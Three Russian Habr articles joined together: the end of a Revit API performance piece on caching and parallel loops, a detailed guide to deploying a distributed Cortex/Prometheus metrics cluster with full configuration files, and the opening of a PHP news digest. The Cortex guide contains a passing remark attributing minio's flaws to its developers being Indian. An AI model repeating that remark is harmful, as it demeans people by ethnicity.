Если мы потратим немного больше времени, что бы создать классы кеширующие свойства элементов Revit API, то получим также солидный выигрыш в производительности — в 212 и 80 раз при параллельной и последовательной обработке собственных классов. Однако необходимость при каждом проходе цикла вычислять среднюю точку стен остается узким местом такого решения.
Но если уж вы сделаете классы, которые будут кэшировать свойства объектов Ревит, то тогда просто необходимо сделать кэширование и промежуточных значений вычислений. При работе таких классов в параллельном и последовательном режиме разница по сравнению с простой последовательной обработкой элементов Revit API — в 354 и 127 раз.
**Заключение**
В большинстве случаев достаточно продумать как следует код и просто не допустить повторных вычислений одних и тех же значений. **Параллельные вычисления помогут сделать такой код еще в 2 раза быстрее, но это имеет значение, если вы хотите обработать в цикле больше нескольких тысяч объектов или провести сложные вычисления.** Очевидно, не стоит распараллеливать вычисления, если в цикле будет всего пару десятков объектов.
Если вы собираетесь обработать большое количество объектов Revit API, то создание кэширующих классов, которые сохранят и свойства объектов и промежуточные значения, не даст большего роста производительности по сравнению с работой напрямую с объектами Revit API (при условии кэширования промежуточных вычислений у объектов Revit API). Но при таком подходе, возможно, легче будет написать код для вычисления промежуточных результатов.
**PS:** Если хотите поэкспериментировать и сами понаблюдать, как при разном количестве выделенных стен ведут себя разные методы, я приложил файлы с примерами. Это файл «Test2000Wall.rvt» в котором находится 2000 стен с расстоянием друг от друга 1000мм (в осях). Справа сверху расстояние между стенами в осях 700мм.
Файл «TestParallelWall.cs» — это готовый макрос для тестов. Этот макрос обрабатывает 2000 стен примерно за 12 минут. Очевидно, что не стоит экспериментировать с обработкой массивов элементов, не сохраняя при этом результаты промежуточных вычислений. Для этого был создан макрос «TestLightParallelWall.cs» у которого удален метод WorkWithWall. Этот макрос обрабатывает 2000 стен за несколько секунд.
[bim3d.ru/fileadmin/images/user\_upload/Test2000Wall.rvt](http://bim3d.ru/fileadmin/images/user_upload/Test2000Wall.rvt)
[bim3d.ru/fileadmin/images/user\_upload/TestParallelWall.cs](http://bim3d.ru/fileadmin/images/user_upload/TestParallelWall.cs)
[bim3d.ru/fileadmin/images/user\_upload/TestLightParallelWall.cs](http://bim3d.ru/fileadmin/images/user_upload/TestLightParallelWall.cs)
**PS.PS:** Первая версия этой статьи содержала разные неточности и даже заблуждения относительно параллельных вычислений в Ревит. Прошу прошения и выкладываю этот более точный вариант статьи. | https://habr.com/ru/post/321816/ | null | ru | null |
# Cortex и не только: распределённый Prometheus
В последнее время Prometheus стал де-факто стандартом для сбора и хранения метрик. Он удобен для разработчиков ПО - экспорт метрик можно реализовать в несколько строк кода. Для DevOps/SRE, в свою очередь, есть простой язык PromQL для получения метрик из хранилища и их визуализации в той же Grafana.
Но Prometheus имеет ряд недостатков, способы устранения которых я хочу рассмотреть в этой статье. Также разберём деплой Cortex - распределённого хранилища метрик.
Недостатки
----------
* Отсутствие отказоустойчивости
Prometheus работает только в единственном экземпляре, никакого HA.
* Отсутствие распределения нагрузки
В принципе, он хорошо скейлится вверх с ростом количества ядер. Так что это проблема только для тех у кого действительно много метрик.
* Нет поддержки multi-tenancy
Все метрики летят в один большой котёл и разгребать их потом используя PromQL и метки не всегда удобно. Часто хочется разделить различные приложения и\или команды по своим песочницам чтобы они друг другу не мешали.
Плюс, многие готовые дашборды для Grafana не готовы к тому что много инстансов одного приложения хранят метрики в одном и том же месте - придётся переделывать все запросы, добавлять фильтры по меткам и так далее.
В принципе, все эти проблемы можно решить настроив несколько HA-пар Prometheus и распределив по ним свои приложения. Если перед каждой парой повесить прокси, то можно получить что-то вроде отказоустойчивости.
Но есть и минусы:
* После того как один хост из пары упадёт/перезагрузится/whatever - у них случится рассинхронизация. В метриках будут пропуски.
* Все метрики приложения должны умещаться на один хост
* Управлять таким зоопарком будет сложнее - какие-то из Prometheus могут быть недогружены, какие-то перегружены. В случае запуска в каком-нибудь Kubernetes это не так важно.
Давайте рассмотрим какими ещё способами можно решить это.
PromQL прокси
-------------
Например [promxy](https://github.com/jacksontj/promxy), который размещается перед 2 или более инстансами Prometheus и делает fan-out входящих запросов на все из них. Затем дедуплицирует полученные метрики и, таким образом, закрывает пропуски в метриках (если, конечно, они не попали на один и тот же временной интервал).
Минусы подобного решения на поверхности:
* Один запрос нагружает сразу все инстансы за прокси
* Прокси решает только проблему с пропусками в метриках.
Но для тех, у кого нагрузка укладывается в возможности одного Prometheus (либо ее можно грамотно раскидать по нескольким HA-парам) и кому не нужен multi-tenancy - это очень хороший вариант.
Thanos
------
[Thanos](https://thanos.io) - это уже более продвинутое решение.
Он устанавливает рядом с каждым инстансом Prometheus так называемый Sidecar - отдельный демон, который подглядывает за блоками данных, которые генерирует Prometheus. Как только блок закрывается - Sidecar загружает его в объектное хранилище (S3/GCS/Azure). Длина блоков в Prometheus прибита гвоздями и равна 2 часам.
Также он является прокси между GRPC Thanos StoreAPI и Prometheus для получения метрик, которые еще не были загружены в объектное хранилище.
Отдельный компонент Querier реализует PromQL: в зависимости от временного интервала запроса и настроек глубины хранения данных в Prometheus он может направить его в объектное хранилище, в Sidecar или в разбить на два подзапроса - для свежих данных запрос пойдёт через Sidecar в Prometheus, а для более старых - в объектное хранилище.
Отказоустойчивость свежих данных в Thanos реализуется примерно так же как и в **promxy** - делается fan-out запросов на все причастные сервера, результаты накладываются друг на друга и дедуплицируются. Задача по защите исторических данных лежит на объектном хранилище.
Multi-tenancy есть в некотором [зачаточном состоянии](https://thanos.io/tip/operating/multi-tenancy.md), но в эту сторону проект, судя по всему, не развивается особо.
Cortex
------
Это наиболее сложный и функциональный проект. Его начали разрабатывать в *Grafana Labs* для своего SaaS решения по хранению метрик и несколько лет назад выложили в open source, с тех пор разработка идёт на гитхабе.
Как можно видеть на диаграмме выше - в нём очень много компонентов. Но бояться не стоит - большую часть из них можно не использовать, либо запускать в рамках одного процесса - single binary mode.
Так как Cortex изначально разрабатывался как SaaS решение - в нём поддерживается end-to-end multi-tenancy.
### Хранение метрик
На данный момент в Cortex есть два движка. Оба они хранят данные в объектном хранилище, среди которых поддерживаются:
* S3
* GCS
* Azure
* OpenStack Swift (экспериментально)
* Любая примонтированная ФС (например - NFS или GlusterFS). Хранить блоки на локальной ФС смысла нет т.к. они должны быть доступны всему кластеру.
Далее я буду для краткости называть объектное хранилище просто S3.
#### Chunks Storage
Изначальный движок в Cortex - он хранит каждую timeseries в отдельном чанке в S3 или в NoSQL (Cassandra/Amazon DynamoDB/Google BigTable), а метаданные (индексы) хранятся в NoSQL.
Chunks Storage, думается, со временем совсем выпилят - насколько я слышал, Grafana Labs свои метрики уже мигрировали в Blocks Storage.
#### Blocks Storage
Новый, более простой и быстрый движок, основанный на Thanos. Который, в свою очередь, использует формат блоков самого Prometheus. С ним нет нужды в NoSQL и модуле Table Manager (но нужен другой - Store Gateway).
Thanos, в данном, случае является внешней vendored зависимостью в коде Cortex. Есть разговоры о том, чтобы объединить два проекта в один, но когда это будет неизвестно (и будет ли вообще).
### Архитектура
Далее я буду рассматривать работу с Blocks Storage.
Упрощённо принцип работы следующий:
* **Prometheus** собирает метрики с endpoint-ов и периодически отправляет их в Cortex используя Remote Write протокол. По сути это HTTP POST с телом в виде сериализованных в Protocol Buffers метрик сжатый потом Snappy. В самом Prometheus, при этом, можно поставить минимальный retention period - например 1 день или меньше- читаться из него ничего не будет.
* Модуль **Distributor** внутри Cortex принимает, валидирует, проверяет per-tenant и глобальные лимиты и опционально шардит пришедшие метрики. Далее он передает их одному или нескольким **Ingester** (в зависимости от того применяется ли шардинг).
Также в рамках этого модуля работает HA Tracker (о нём ниже).
* **Ingester** ответственен за запись метрик в долговременное хранилище и выдачу их для выполнения запросов. Изначально метрики записываются в локальную ФС в виде блоков длиной 2 часа. Затем, по истечении некоторого времени, они загружаются в S3 и удаляются с локальной ФС.
Также поддерживается репликация и zone awareness для дублирования блоков по различным availability domain (стойки, ДЦ, AWS AZ и так далее)
* **Store-Gateway** служит для отдачи блоков из S3.
Он периодически сканирует бакет, находит там новые блоки, синхронизирует их заголовки в локальную ФС (чтобы после перезапуска не скачивать опять) и индексирует.
* **Querier** реализует PromQL.
При получении запроса анализирует его и, если необходимо, разбивает на два - одна часть пойдёт в **Store Gateway** (для более старых данных), а другая - в **Ingester** для свежих.
По факту параллельных запросов может быть больше если запрашиваемый период большой и настроено разбиение по интервалам (об этом дальше в конфиге)
* **Compactor** периодически просыпается и сканирует объектное хранилище на предмет блоков, которые можно склеить в более крупные. Это приводит к более эффективному хранению и быстрым запросам.
Старые блоки не удаляются сразу, а маркируются и удаляются на следующих итерациях чтобы дать время **Store-Gateway** обнаружить новые, которые уже сжаты.
### Отказоустойчивость
Помимо репликации данных между **Ingester**-ами нам необходимо обеспечить отказоустойчивость самих Prometheus. В Cortex это реализовано просто и элегантно:
* Два (или более) Prometheus настраиваются на сбор метрик с одних и тех же endpoint-ов
* В каждом из них настраиваются специальные внешние метки, которые показывают к какой HA-группе принадлежит данный Prometheus и какой у него идентификатор внутри группы.
Например так:
```
external_labels:
__ha_group__: group_1
__ha_replica__: replica_2
```
* При приёме метрик Cortex из каждой группы выбирает один Prometheus и сохраняет метрики только от него
* Остальным отвечает HTTP 202 Accepted и отправляет в /dev/null всё что они прислали
* Если же активный инстанс перестал присылать метрики (сработал таймаут) - Cortex переключается на приём от кого-то из оставшихся в живых.
Таким образом дедупликация на этом уровне становится не нужна. Правда остаётся вопрос момента переключения - не теряется ли там что-либо (когда старый не прислал, а от нового ещё не приняли), я этот вопрос не изучал глубоко - нужно тестировать.
### Авторизация
Каждый запрос на запись метрик из Prometheus должен содержать HTTP-заголовок `X-Scope-OrgId` равный идентификатору клиента (далее я буду называть их просто tenant, хорошего перевода не придумал). Метрики каждого tenant-а полностью изолированны друг от друга - они хранятся в разных директориях в S3 бакете и на локальной ФС
Таким же образом происходит и чтение метрик - в PromQL запросах тоже нужно тоже указывать этот заголовок.
При этом никакой реальной авторизации Cortex не проводит - он слепо доверяет этому заголовку. *Auth Gateway* есть в [роадмапе](https://cortexmetrics.io/docs/roadmap/), но когда он будет готов неизвестно. Даже просто добавить этот заголовок напрямую в Prometheus нельзя, только используя промежуточный HTTP прокси.
Для более гибкой интеграции Prometheus & Cortex я набросал простенький Remote Write прокси - [cortex-tenant](https://github.com/blind-oracle/cortex-tenant), который может вытаскивать ID клиента из меток Prometheus. Это позволяет использовать один инстанс (или HA-группу) Prometheus для отправки метрик нескольким разным клиентам. Мы используем этот функционал для разграничения данных разных команд, приложений и сред.
Авторизацию можно отключить, тогда Cortex не будет проверять наличие заголовка в запросах и будет подразумевать что он всегда равен `fake` - то есть multi-tenancy будет отключен, все метрики будут падать в один котёл.
При необходимости данные одного клиента можно полностью удалить из кластера - пока это API экспериментально, но работает.
Настройка Cortex
----------------
> В первую очередь хотелось бы сказать, что Cortex имеет смысл для тех, у кого действительно много метрик, либо хочется хранить централизовано.
>
> Для всех остальных гораздо проще установить несколько HA-пар Prometheus (например на каждую команду или каждый проект) и поверх них натянуть `promxy`
>
>
Так как документация имеет некоторое количество белых пятен - я хочу рассмотреть настройку простого кластера Cortex в режиме single binary - все модули у нас будут работать в рамках одного и того же процесса.
**Danger Zone! Дальше много конфигов!**
### Зависимости
Нам понадобится ряд внешних сервисов для работы.
* **etcd** для согласования кластера и хранения Hash Ring
Cortex также поддерживает Consul и Gossip-протокол, которому не нужно внешнее KV-хранилище. Но для HA-трекера Gossip не поддерживается из-за больших задержек при сходимости. Так что будем юзать **etcd**
* **memcached** для кеширования всего и вся.
Cortex поддерживает его в нескольких своих модулях. Можно поднять несколько инстансов и указать их все в Cortex - он будет шардить по всем равномерно. В принципе, он не обязателен, но крайне рекомендован с точки зрения производительности.
Также есть DNS-based discovery через SRV-записи, если не хочется указывать вручную.
* **minio** для реализации распределённого S3 хранилища.
Несколько странный проект, который часто в процессе разработки ломает обратную совместимость и требует полного перезапуска кластера для апгрейда. Также SemVer это для слабаков, поэтому у них версионирование по датам. Его разрабатывают, в основном, индусы - возможно в этом причина...
Но других вариантов особо нет, можно поднять Ceph с S3 шлюзом, но это еще более громоздко.
**minio** поддерживает Erasure Coding для отказоустойчивости, что есть хорошо.
* **HAProxy** для связывания компонентов воедино
* **cortex-tenant** для распределения метрик по tenant-ам
* **Prometheus** собственно для сбора метрик
### Общие вводные
* Кластер мы будем строить плоский из 4 хостов - все они будут идентичны, с одинаковым набором сервисов. Это хорошо для небольших инсталляций, упрощает структуру.
3 страйпа не поддерживает **minio** c Erasure Coding - он нарезает от 4 до 16 дисков в один EC-набор. В реальном проекте лучше использовать 5 или какое-либо большее нечетное число чтобы не было Split Brain.
Также, если у вас много хостов, то некоторые компоненты, такие как **etcd**, лучше вынести отдельно. **etcd** основан на Raft и реплицирует данные на все ноды кластера, смысла в их большом количестве нет - это только увеличит среднюю нагрузку лишними репликами.
* Все данные будем хранить в `/data`
* Конфиги я буду приводить для одного хоста, для остальных обычно достаточно поменять адреса и\или хостнеймы
* В качестве ОС используем RHEL7, но различия с другими дистрибутивами минимальны
* У нас всё это дело, конечно, раскатывается через Ansible, но плейбук довольно сильно завязан на нашу инфраструктуру. Я постараюсь потом его подчистить и выложить
* Некоторые RPM пакеты я собираю вручную (etcd, HAProxy и т.п.) с помощью FPM т.к. в репозиториях древние версии.
/etc/hosts
```
10.0.0.1 ctx1
10.0.0.2 ctx2
10.0.0.3 ctx3
10.0.0.4 ctx4
```
#### etcd
Как и Zookeeper, с настройками по умолчанию **etcd** - бомба замедленного действия. Он не удаляет ненужные снапшоты и разрастается до бесконечности. Зачем так сделано - мне не понятно.
Поэтому настроим его соответственно:
/etc/etcd/etcd.conf
```
ETCD_NAME="ctx1"
ETCD_LOGGER="zap"
ETCD_LOG_LEVEL="warn"
ETCD_DATA_DIR="/data/etcd/ctx1.etcd"
ETCD_LISTEN_CLIENT_URLS="http://10.0.0.1:2379,http://127.0.0.1:2379"
ETCD_LISTEN_PEER_URLS="http://10.0.0.1:2380"
ETCD_ADVERTISE_CLIENT_URLS="http://10.0.0.1:2379"
ETCD_INITIAL_CLUSTER_TOKEN="cortex"
ETCD_INITIAL_ADVERTISE_PEER_URLS="http://10.0.0.1:2380"
ETCD_AUTO_COMPACTION_RETENTION="30m"
ETCD_AUTO_COMPACTION_MODE="periodic"
ETCD_SNAPSHOT_COUNT="10000"
ETCD_MAX_SNAPSHOTS="5"
ETCD_INITIAL_CLUSTER="ctx1=http://ctx1:2380,ctx2=http://ctx2:2380,ctx3=http://ctx3:2380,ctx4=http://ctx4:2380"
```
#### memcached
Тут всё просто, главное выделить нужное количество памяти. Она зависит от количества метрик, которые мы будем хранить. Чем больше уникальных комбинаций меток - тем больше нужно кеша.
/etc/sysconfig/memcached
```
PORT="11211"
USER="memcached"
MAXCONN="512"
CACHESIZE="2048"
OPTIONS="--lock-memory --threads=8 --max-item-size=64m"
```
#### Minio
Тут минимум настроек.
По сути мы просто перечисляем хосты, которые будут использоваться для хранения данных (+ путь до директории где данные хранить - `/data/minio`) и указываем ключи S3. В моем случае это были ВМ с одним диском, если у вас их несколько - то формат URL несколько меняется.
По умолчанию используется странное распределение дисков под данные и под коды Рида-Соломона: половина сырого объема уходит под redundancy. Так как у нас всего 4 хоста - это не особо важно. Но на большем по размеру кластере лучше использовать [Storage Classes](https://github.com/minio/minio/tree/master/docs/erasure/storage-class) для снижения доли Parity-дисков.
/etc/minio/minio.env
```
MINIO_ACCESS_KEY="foo"
MINIO_SECRET_KEY="bar"
MINIO_PROMETHEUS_AUTH_TYPE="public"
LISTEN="0.0.0.0:9000"
ARGS="http://ctx{1...4}/data/minio"
```
Также нужно будет создать бакет с помощью [minio-client](https://docs.min.io/docs/minio-client-complete-guide.html#mb) - в нашем случае пусть называется `cortex`
#### HAProxy
Он у нас будет служить для равномерного распределения нагрузки по кластеру и отказоустойчивости. Все сервисы обращаются к локальному **HAProxy**, который в свою очередь проксирует запросы куда нужно.
Таким образом мы имеем что-то вроде Full Mesh топологии и отказ или перезапуск любого из сервисов или хостов целиком не влияет на функциональность кластера.
На больших кластерах (сотни-тысячи хостов) такая схема может быть узким местом, но если вы работаете с такими, то и сами это знаете :)
/etc/haproxy/haproxy.cfg
```
global
daemon
maxconn 10000
log 127.0.0.1 local2
chroot /var/empty
defaults
mode http
http-reuse safe
hash-type map-based sdbm avalanche
balance roundrobin
retries 3
retry-on all-retryable-errors
timeout connect 2s
timeout client 300s
timeout server 300s
timeout http-request 300s
option splice-auto
option dontlog-normal
option dontlognull
option forwardfor
option http-ignore-probes
option http-keep-alive
option redispatch 1
option srvtcpka
option tcp-smart-accept
option tcp-smart-connect
option allbackups
listen stats
bind 0.0.0.0:6666
http-request use-service prometheus-exporter if { path /metrics }
stats enable
stats refresh 30s
stats show-node
stats uri /
frontend fe_cortex
bind 0.0.0.0:8090 tfo
default_backend be_cortex
frontend fe_cortex_tenant
bind 0.0.0.0:8009 tfo
default_backend be_cortex_tenant
frontend fe_minio
bind 0.0.0.0:9001 tfo
default_backend be_minio
backend be_cortex
option httpchk GET /ready
http-check expect rstring ^ready
server ctx1 10.0.0.1:9009 check observe layer7 inter 5s
server ctx2 10.0.0.2:9009 check observe layer7 inter 5s
server ctx3 10.0.0.3:9009 check observe layer7 inter 5s
server ctx4 10.0.0.4:9009 check observe layer7 inter 5s
backend be_cortex_tenant
option httpchk GET /alive
http-check expect status 200
server ctx1 10.0.0.1:8008 check observe layer7 inter 5s
server ctx2 10.0.0.2:8008 check observe layer7 inter 5s backup
server ctx3 10.0.0.3:8008 check observe layer7 inter 5s backup
server ctx4 10.0.0.4:8008 check observe layer7 inter 5s backup
backend be_minio
balance leastconn
option httpchk GET /minio/health/live
http-check expect status 200
server ctx1 10.0.0.1:9000 check observe layer7 inter 5s
server ctx2 10.0.0.2:9000 check observe layer7 inter 5s backup
server ctx3 10.0.0.3:9000 check observe layer7 inter 5s backup
server ctx4 10.0.0.4:9000 check observe layer7 inter 5s backup
```
#### cortex-tenant
Это просто прокси между **Prometheus** и **Cortex**. Главное - выбрать уникальное имя метки для хранения там tenant ID. В нашем случае это `ctx_tenant`
/etc/cortex-tenant.yml
```
listen: 0.0.0.0:8008
target: http://127.0.0.1:8090/api/v1/push
log_level: warn
timeout: 10s
timeout_shutdown: 10s
tenant:
label: ctx_tenant
label_remove: true
header: X-Scope-OrgID
```
#### Prometheus
В случае 4 хостов Prometheus-ы можно разбить их на две HA-пары, каждую со своим ID группы и раскидать job-ы по ним.
host1 /etc/prometheus/prometheus.yml
```
global:
scrape_interval: 60s
scrape_timeout: 5s
external_labels:
__ha_group__: group_1
__ha_replica__: replica_1
remote_write:
- name: cortex_tenant
url: http://127.0.0.1:8080/push
scrape_configs:
- job_name: job1
scrape_interval: 60s
static_configs:
- targets:
- ctx1:9090
labels:
ctx_tenant: foobar
- job_name: job2
scrape_interval: 60s
static_configs:
- targets:
- ctx2:9090
labels:
ctx_tenant: deadbeef
```
host2 /etc/prometheus/prometheus.yml
```
global:
scrape_interval: 60s
scrape_timeout: 5s
external_labels:
__ha_group__: group_1
__ha_replica__: replica_2
remote_write:
- name: cortex_tenant
url: http://127.0.0.1:8080/push
scrape_configs:
- job_name: job1
scrape_interval: 60s
static_configs:
- targets:
- ctx1:9090
labels:
ctx_tenant: foobar
- job_name: job2
scrape_interval: 60s
static_configs:
- targets:
- ctx2:9090
labels:
ctx_tenant: deadbeef
```
По сути конфигурации в пределах одной HA-группы должны отличаться только лейблом реплики.
### Cortex
Ну и последнее. Так как мы будем запускать все модули вместе - конфиг получится довольно объемный. Поэтому разделим его на части, чтобы читабельнее было.
Многие модули, такие как **Distributor**, **Ingester**, **Compactor**, **Ruler** кластеризуются с помощью Hash-Ring в **etcd**. На весь кластер выделяется некоторое количество токенов, которые распределяются между всеми участниками кольца равномерно.
Упрощенно - при приходе, допустим, новой метрики её метки хешируются, результат делится по модулю на количество токенов и в итоге направляется на хост, который владеет данным диапазоном токенов. Если он не отвечает - то отправляют следующему по кольцу хосту.
Если хост выходит из кластера (помер, перезагружается и т.п.), то его диапазон перераспределяется по остальным.
Все настройки у нас будут лежать в `/etc/cortex/cortex.yml`
Также т.к. Cortex сделан для работы в контейнерах - всё можно настроить через командную строку чтобы не пропихивать конфиг в контейнер.
#### Глобальные настройки
```
# Список модулей для загрузки
target: all,compactor,ruler,alertmanager
# Требовать ли заголовок X-Scope-OrgId
auth_enabled: true
# Порты
server:
http_listen_port: 9009
grpc_listen_port: 9095
limits:
# Разрешаем HA-трекинг
accept_ha_samples: true
# Названия меток, которые мы используем в Prometheus для
# маркировки групп и реплик
ha_cluster_label: __ha_group__
ha_replica_label: __ha_replica__
# Максимальный период в прошлое на который мы можем делать
# PromQL запросы (1 год).
# Всё что больше будет обрезано до этого периода.
# Это нужно для реализации retention period.
# Для фактического удаления старых блоков нужно еще настроить lifecycle
# правило в бакете S3 на пару дней глубже
max_query_lookback: 8760h
```
Так как Cortex создавался для работы в распределённом режиме в облаке, то работа всех модулей в одном бинарнике считается нетипичной, но я никаких проблем не наблюдал.
Другой трудностью изначально было то, что Cortex не поддерживал гибкий список модулей, которые нужно активировать. Была возможность либо указать `all`, который на самом деле ни разу не all:
```
# cortex -modules
alertmanager
all
compactor
configs
distributor *
flusher
ingester *
purger *
querier *
query-frontend *
query-scheduler
ruler *
store-gateway *
table-manager *
Modules marked with * are included in target All.
```
Либо указать строго один модуль.
Поэтому пришлось сделать пулл-реквест чтобы добавить возможность загружать список любых модулей. В данном случае мы используем `all` + `compactor`, `ruler` и `alertmanager`
#### Хранилище
```
storage:
# Выбираем хранилище Blocks Storage
engine: blocks
# Конфигурируем его
blocks_storage:
# Тип бэкенда
backend: s3
# Параметры доступа к S3
s3:
endpoint: 127.0.0.1:9001
bucket_name: cortex
access_key_id: foo
secret_access_key: bar
# TLS у нас нет
insecure: true
tsdb:
# Где хранить локальные блоки до загрузки в S3
dir: /data/cortex/tsdb
# Через какое время их удалять
retention_period: 12h
# Сжимать Write-Ahead Log
wal_compression_enabled: true
bucket_store:
# Где хранить индексы блоков, найденных в S3
# По сути это должно быть в модуле Store-Gateway,
# но по какой-то причине тут
sync_dir: /data/cortex/tsdb-sync
# Как часто сканировать S3 в поиске новых блоков
sync_interval: 1m
# Настраиваем различные кеши на наши memcached
# Каждый кеш имеет свой префикс ключей, так что пересекаться они не будут
index_cache:
backend: memcached
memcached:
addresses: ctx1:11211,ctx2:11211,ctx3:11211,ctx4:11211
chunks_cache:
backend: memcached
memcached:
addresses: ctx1:11211,ctx2:11211,ctx3:11211,ctx4:11211
metadata_cache:
backend: memcached
memcached:
addresses: ctx1:11211,ctx2:11211,ctx3:11211,ctx4:11211
```
#### Distributor
```
distributor:
ha_tracker:
# Включить HA-трекер для Prometheus
enable_ha_tracker: true
# Таймаут после которого срабатывает failover на другую реплику Prometheus.
# Нужно настроить так чтобы метрики приходили не реже этого интервала,
# иначе будут ложные срабатывания.
ha_tracker_failover_timeout: 30s
# Настраиваем etcd для HA-трекера
kvstore:
store: etcd
etcd:
endpoints:
- http://ctx1:2379
- http://ctx2:2379
- http://ctx3:2379
- http://ctx4:2379
# Настраиваем etcd для Hash-Ring дистрибьютеров
ring:
kvstore:
store: etcd
etcd:
endpoints:
- http://ctx1:2379
- http://ctx2:2379
- http://ctx3:2379
- http://ctx4:2379
```
#### Ingester
```
ingester:
lifecycler:
address: 10.0.0.1
# Название зоны доступности
availability_zone: dc1
# Немного ждём чтобы всё устаканилось перед перераспределением
# токенов на себя
join_after: 10s
# Храним токены чтобы не генерировать их каждый раз при запуске
tokens_file_path: /data/cortex/ingester_tokens
ring:
# На сколько Ingester-ов реплицировать метрики.
# Если указана зона доступности, то реплики будут выбираться из разных зон
replication_factor: 2
# etcd для Hash-Ring Ingester-ов
kvstore:
store: etcd
etcd:
endpoints:
- http://ctx1:2379
- http://ctx2:2379
- http://ctx3:2379
- http://ctx4:2379
```
#### Querier
По поводу подбора правильных величин лучше почитать [документацию](https://cortexmetrics.io/docs/blocks-storage/production-tips/#how-to-estimate--querierquery-store-after).
Основная идея в том, чтобы никогда не запрашивать те блоки, которые еще не обработал **Compactor**:

```
querier:
# Временные файлы
active_query_tracker_dir: /data/cortex/query-tracker
# Запросы с глубиной больше этой будут направляться в S3
query_store_after: 6h
# Запросы с глубиной меньше этой отправляются в Ingester-ы
query_ingesters_within: 6h5m
frontend_worker:
frontend_address: 127.0.0.1:9095
query_range:
# Запросы будут разбиваться на куски такой длины и выполняться параллельно
split_queries_by_interval: 24h
# Выравнивать интервал запроса по его шагу
align_queries_with_step: true
# Включить кеширование результатов
cache_results: true
# Кешируем в memcached
results_cache:
# Сжимаем
compression: snappy
cache:
# TTL кеша
default_validity: 60s
memcached:
expiration: 60s
memcached_client:
addresses: ctx1:11211,ctx2:11211,ctx3:11211,ctx4:11211
```
#### Store-Gateway
Этот модуль подгружает из S3 бакета заголовки блоков (комбинации меток, временные интервалы и т.п.).
Если включить шардинг и репликацию, то участники кластера распределят все блоки между собой равномерно и каждый блок будет на 2 или более хостах.
```
store_gateway:
# Включаем шардинг
sharding_enabled: true
sharding_ring:
# Включаем zone awareness
zone_awareness_enabled: true
# Идентификатор зоны
instance_availability_zone: dc1
# Сколько реплик держать
replication_factor: 2
# Hash-ring для Store-Gateway
kvstore:
store: etcd
etcd:
endpoints:
- http://ctx1:2379
- http://ctx2:2379
- http://ctx3:2379
- http://ctx4:2379
```
#### Compactor
Этот модуль работает сам по себе и с остальными никак не взаимодействует. Можно активировать шардинг, тогда все компакторы в кластере распределят между собой tenant-ов и будут обрабатывать их параллельно.
```
compactor:
# Временная директория для блоков.
# Должно быть достаточно много места чтобы можно было загрузить блоки,
# скомпактить их и сохранить результат.
data_dir: /data/cortex/compactor
# Как часто запускать компакцию
compaction_interval: 30m
# Hash-Ring для компакторов
sharding_enabled: true
sharding_ring:
kvstore:
store: etcd
etcd:
endpoints:
- http://ctx1:2379
- http://ctx2:2379
- http://ctx3:2379
- http://ctx4:2379
```
#### Ruler + AlertManager
Эти модули опциональны и нужны только если хочется генерировать алерты на основе правил.
* Правила в стандартном Prometheus формате мы будем складывать в `/data/cortex/rules//rulesN.yml` на каждом хосте. Можно использовать для этого S3 или другие хранилища - см. документацию
* Cortex периодически сканирует хранилище и перезагружает правила
* Конфиги AlertManager в стандартном формате складываем в `/data/cortex/alert-rules/.yml`
Аналогично можно складывать в S3 и т.п.
* Cortex запускает инстанс AlertManager (внутри своего процесса) отдельно для каждого tenant, если находит конфигурацию в хранилище
```
ruler:
# Временные файлы
rule_path: /data/cortex/rules-tmp
# Включаем шардинг
enable_sharding: true
# Какому AlertManager-у сообщать об алертах
alertmanager_url: http://ctx1:9009/alertmanager
# Откуда загружать правила
storage:
type: local
local:
directory: /data/cortex/rules
# Hash-ring для Ruler-ов
ring:
kvstore:
store: etcd
etcd:
endpoints:
- http://ctx1:2379
- http://ctx2:2379
- http://ctx3:2379
- http://ctx4:2379
alertmanager:
# Где хранить состояние алертов
data_dir: /data/cortex/alert-data
# Внешний URL нашего инстанса (нужен для генерации ссылок и т.п.)
external_url: http://ctx1:9009/alertmanager
# Кластеринг - какой адрес слушать и какой анонсировать пирам
cluster_bind_address: 0.0.0.0:9094
cluster_advertise_address: 10.0.0.1:9094
# Список пиров
peers:
- ctx2:9094
- ctx3:9094
- ctx4:9094
# Откуда загружать настройки
storage:
type: local
local:
path: /data/cortex/alert-rules
```
Заключение
----------
Вот и всё, можно запускать все сервисы - сначала зависимости, потом Cortex, затем - Prometheus.
Я не претендую на полноту, но этого должно быть достаточно чтобы начать работать.
Нужно учитывать, что Cortex активно развивается и на момент написания статьи часть параметров в master-ветке и документации (которая генерируется из неё) уже объявлено deprecated. Так что, вполне возможно, в новых версиях нужно будет конфиги немного исправлять.
Если есть вопросы и\или замечания - пишите, постараюсь добавить в статью. | https://habr.com/ru/post/541458/ | null | ru | null |
# Дайджест интересных новостей и материалов из мира PHP за последние две недели №15 (08.04.2013 — 22.04.2013)

Предлагаем вашему вниманию очередную подборку с ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [PhalconEye v0.3.0](http://phalconeye.com/) — Новая CMS под управлением скомпилированного PHP-фреймворка Phalcon. [Демо](http://phalconeye.com/demo/) и [код](https://github.com/lantian/PhalconEye).
* [React v0.3.0](http://reactphp.org/2013/04/14/v0.3.0.html) — В [прошлом выпуске дайджеста](http://habrahabr.ru/company/zfort/blog/175931/) упоминался этот замечательный инструмент, реализующий паттерн [Reactor](http://en.wikipedia.org/wiki/Reactor_pattern). Доступна новая версия с множеством изменений и дополнений.
* [Доступна PHP 5.5 beta3](http://php.net/index.php#id2013-04-11-1) — В релизе фактически всего [несколько исправлений](https://github.com/php/php-src/blob/php-5.5.0beta3/NEWS), а значит, до финальной версии осталось совсем недолго, тем не менее, вопрос о том будет ли следующая версия бетой или релиз-кандидатом пока открыт.
* [Релизы актуальных веток PHP 5.4.14 и PHP 5.3.24](http://php.net/index.php#id2013-04-11-2) — Как обычно имеем [ряд исправлений](http://php.net/ChangeLog-5.php), и всем пользователям рекомендуется обновиться.
* [Nomad PHP — виртуальная группа пользователей](http://nomadphp.com/) — По всему миру действуют и активно развиваются десятки групп пользователей PHP. Найти ближайшую группу можно [тут](http://php.ug/) или [тут](http://www.phpclasses.org/browse/group/). Но если в вашем городе или поблизости нет группы пользователей, то конечно вы сами можете стать организатором такого сообщества, но кроме того вы можете стать участником виртуальной группы Nomad PHP, вся деятельность и встречи которой проходят исключительно онлайн. Уже заявлена первая «встреча» с докладом от [Rob Allen «Введение в Zend Framework 2»](http://nomadphp.com/2013/04/16/may-2013-rob-allen/).
